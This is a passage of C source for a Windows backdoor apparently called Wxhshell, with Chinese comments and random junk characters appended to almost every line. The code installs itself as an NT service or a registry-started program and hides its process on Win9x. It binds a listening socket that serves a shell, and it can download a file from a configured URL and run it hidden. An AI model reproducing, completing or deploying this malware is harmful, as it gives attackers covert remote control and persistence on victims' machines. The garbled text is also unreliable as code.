DWORD BasePriority; {B+{2;Zk
ULONG UniqueProcessId; ICB'?yZ,
ULONG InheritedFromUniqueProcessId; qW'5Zk
} PROCESS_BASIC_INFORMATION; oEnCe
fDIKR[B
PROCNTQSIP NtQueryInformationProcess;
h@"u==0
_4MT,kN
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :h60
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z*Jp?[##
+q@g
HANDLE hProcess; sH{4 .tw
PROCESS_BASIC_INFORMATION pbi; ik Pm,ZN
5W~-|8m
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); aO>Nev
if(NULL == hInst ) return 0; >KMTxHE`+
K18Sj,]B
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jbK<"T5
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /\|AHM
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e x`mu E
>ISN2Kn
if (!NtQueryInformationProcess) return 0; f+j-M|A
(DrDWD4_
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~q05xy8
if(!hProcess) return 0; /E0/)@pDq
mYiIwm1cb(
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W!
q-WU
0R[onPU_vZ
CloseHandle(hProcess); @8qo(7<~Q
CPS1b
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t+`>zux5(T
if(hProcess==NULL) return 0; @2Ca]2,4
]^
"BLbDZ@
HMODULE hMod; NY!"?Zko
char procName[255]; ,.T k"\@
unsigned long cbNeeded; [n{c, U
F
*^b<CZd9
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;fnE"}
"=ogO/_Q"
CloseHandle(hProcess); li~#6$
vynchZ+g]
if(strstr(procName,"services")) return 1; // 以服务启动 4c/.#?
(S4[,Sx6E
return 0; // 注册表启动 CEr*VsvjsU
} gm}[`GMU
yQM<(;\O
// 主模块 Da8{==
int StartWxhshell(LPSTR lpCmdLine) ~*,e &I
{ "T,^>xD
SOCKET wsl; |<Gq^3 2
BOOL val=TRUE; ]v{TSP^/
int port=0; >[|Y$$
struct sockaddr_in door; :ncR7:Z
YoEL|r|
if(wscfg.ws_autoins) Install(); 8F*"z^vD=
GVlTW?5
port=atoi(lpCmdLine); ui#K`.dn
&XE eJ
if(port<=0) port=wscfg.ws_port; 4|[)D/N
qwx{U
WSADATA data; ZyQ+}rO
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .qjdi`v
#O2e[ E-
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; !-gjA@Pk
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3A5:D#
door.sin_family = AF_INET; Cvf^3~q
door.sin_addr.s_addr = inet_addr("127.0.0.1"); >UUT9:,plA
door.sin_port = htons(port); f-b#F2I
Ivue"_i;!
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'HdOW[3o
closesocket(wsl); _YM]U`*
return 1; ;YK{[$F
} Sx^4Y\\
7w]NG`7
if(listen(wsl,2) == INVALID_SOCKET) { -w#Hy>E
closesocket(wsl); ?c!W*`yP
return 1; ttaYtV]]
} oykqCN
Wxhshell(wsl); 37M?m$BL
WSACleanup(); ,*Z:a4
g9F4nExo
return 0; V\(p6:1(6K
XdR^,;pWE
}
[C TR8
OY>0qj
// 以NT服务方式启动 'K0=FPB/@
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Rw9 *!<Izt
{ BDCFToSf|
DWORD status = 0; 3+v+_I>%k
DWORD specificError = 0xfffffff; =*Ad
l~v
BA$,
serviceStatus.dwServiceType = SERVICE_WIN32; D>~S-]
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 4H\+vJPM
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^s=p'&6
serviceStatus.dwWin32ExitCode = 0; 4:Bpz;x
serviceStatus.dwServiceSpecificExitCode = 0; 82bOiN15
serviceStatus.dwCheckPoint = 0; (i*;V0
serviceStatus.dwWaitHint = 0; c8
xZT
d].(x)|st
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Gap\~Z@L
if (hServiceStatusHandle==0) return; EN!Q]O|
vKvT7Zxc
status = GetLastError(); d^Jf(NE0Yo
if (status!=NO_ERROR) Xw2tCRzD
{ zw yK \j
serviceStatus.dwCurrentState = SERVICE_STOPPED; B-
VhUS
serviceStatus.dwCheckPoint = 0; qAF.i^
serviceStatus.dwWaitHint = 0; 9J!@,Zsh
serviceStatus.dwWin32ExitCode = status; 5U3b&0
serviceStatus.dwServiceSpecificExitCode = specificError; QNzx(IV@
SetServiceStatus(hServiceStatusHandle, &serviceStatus); JZS#Q\JN
return; %`~?w'
} HSR^R
cI Byv I-
serviceStatus.dwCurrentState = SERVICE_RUNNING; l$s8O0-'T
serviceStatus.dwCheckPoint = 0; F/qx2E$*wo
serviceStatus.dwWaitHint = 0; =!RlU)w
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Apfs&{Uy
} Qs^RhF\d
<hO|:LX
// 处理NT服务事件,比如:启动、停止 @4Ox$M
VOID WINAPI NTServiceHandler(DWORD fdwControl) n #|p R2
{ J:q:g*Wi
switch(fdwControl) mP?~#RZ
{ o|v_+<zD!
case SERVICE_CONTROL_STOP: B[I
a8t
serviceStatus.dwWin32ExitCode = 0; e{dYLQd
serviceStatus.dwCurrentState = SERVICE_STOPPED; ny. YkN2
serviceStatus.dwCheckPoint = 0; !VfP#B6.
serviceStatus.dwWaitHint = 0; Cy~Pfty
{ O\(0{qu
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @%5$x]^
} NzP5s&,C69
return; 9z:P#=Q:
case SERVICE_CONTROL_PAUSE: y^SDt3Am
serviceStatus.dwCurrentState = SERVICE_PAUSED; V+M=@Pvp9
break; #!WD1a?L
case SERVICE_CONTROL_CONTINUE: AxOn~fZ!
serviceStatus.dwCurrentState = SERVICE_RUNNING; hu
G]kv3F:
break; BZP~m=kq
case SERVICE_CONTROL_INTERROGATE: abVz/R/o
break; Y`x54_32
}; }4; \sY
SetServiceStatus(hServiceStatusHandle, &serviceStatus); j/FFxlFNL
} o$=D`B
X R =^zp?
// 标准应用程序主函数 <~[A
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q0}Sju+HX
{ 6S~lgH:
UqP %S$9
// 获取操作系统版本 %e@Jc3
OsIsNt=GetOsVer(); !/6`<eQ
`
GetModuleFileName(NULL,ExeFile,MAX_PATH); jNIZ!/K
tyH*epanw
// 从命令行安装 {=Y.Z1E:
if(strpbrk(lpCmdLine,"iI")) Install(); E_aDkNT
22|a~"Z
// 下载执行文件 .!\NM&E
if(wscfg.ws_downexe) { Lb'HM-d
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zdwr5k
WinExec(wscfg.ws_filenam,SW_HIDE); vB :_|B
} ,DHiM-v
4;*o}E
if(!OsIsNt) { Z?vbe}pUM
// 如果时win9x,隐藏进程并且设置为注册表启动 U(.3[x
HideProc(); {!B^nCSL
StartWxhshell(lpCmdLine); aK%i=6j!
} g]=w_
else GTw3rD^wg
if(StartFromService()) (>OCLmV$
// 以服务方式启动 n
2k&yL+a
StartServiceCtrlDispatcher(DispatchTable); =]OG5b_-Y
else !Ol>![
// 普通方式启动 @y (9LSs
StartWxhshell(lpCmdLine); )<D(Mb2p|
r&G=}ZMO
return 0; +=5Dt7/|
}